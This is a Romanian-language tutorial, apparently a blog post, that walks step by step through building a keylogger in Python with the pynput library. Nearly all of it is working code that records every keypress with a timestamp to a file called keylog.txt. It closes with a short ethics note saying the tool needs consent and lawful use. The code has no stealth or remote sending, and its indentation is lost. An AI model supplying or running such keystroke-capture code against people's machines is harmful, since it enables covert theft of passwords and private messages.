În acest tutorial, vom crea un keylogger simplu folosind Python și biblioteca “pynput”.
Pasul 1: Instalarea Bibliotecii Pynput
Instalați biblioteca “pynput”, care ne va permite să monitorizăm și să controlăm tastatura și mouse-ul.
pip install pynput
Pasul 2: Importarea Bibliotecilor Necesare
Importați biblioteca “pynput” și alte module necesare.
from pynput import keyboard
import logging
Pasul 3: Configurarea Logging-ului
Configurați modul în care vor fi stocate datele înregistrate. În acest exemplu, vom salva apăsările de taste într-un fișier text.
log_file = “keylog.txt”
logging.basicConfig(filename=log_file, level=logging.DEBUG, format=’%(asctime)s: %(message)s’)
Pasul 4: Definirea Funcțiilor pentru Înregistrarea Tastelor
Definiți funcțiile care vor fi apelate pentru fiecare apăsare și eliberare de tastă.
def on_press(key):
try:
logging.info(f”Key pressed: {key.char}”)
except AttributeError:
logging.info(f”Special key pressed: {key}”)
def on_release(key):
if key == keyboard.Key.esc:
# Oprirea keylogger-ului la apăsarea tastei Esc
return False
Pasul 5: Începerea Monitorizării Tastaturii
Folosiți biblioteca “pynput” pentru a începe monitorizarea tastaturii.
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
Pasul 6: Rularea Scriptului
Creați un fișier Python cu codul de mai sus și rulați-l. Acesta va începe să înregistreze toate apăsările de taste într-un fișier numit “keylog.txt”.
if __name__ == “__main__”:
# Pornește monitorizarea tastaturii
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
Pasul 7: Utilizare și Etică
Este foarte important să folosiți acest keylogger doar în scopuri educaționale și etice. Înregistrarea apăsărilor de taste fără consimțământul utilizatorului este ilegală și neetică. Asigurați-vă că aveți permisiunea înainte de a utiliza acest tip de software.
Ați creat un keylogger simplu folosind Python. Acest tutorial vă oferă o bază pentru înțelegerea modului în care funcționează keylogger-ele, dar trebuie folosit responsabil și în conformitate cu legislația aplicabilă.
[mai mult...]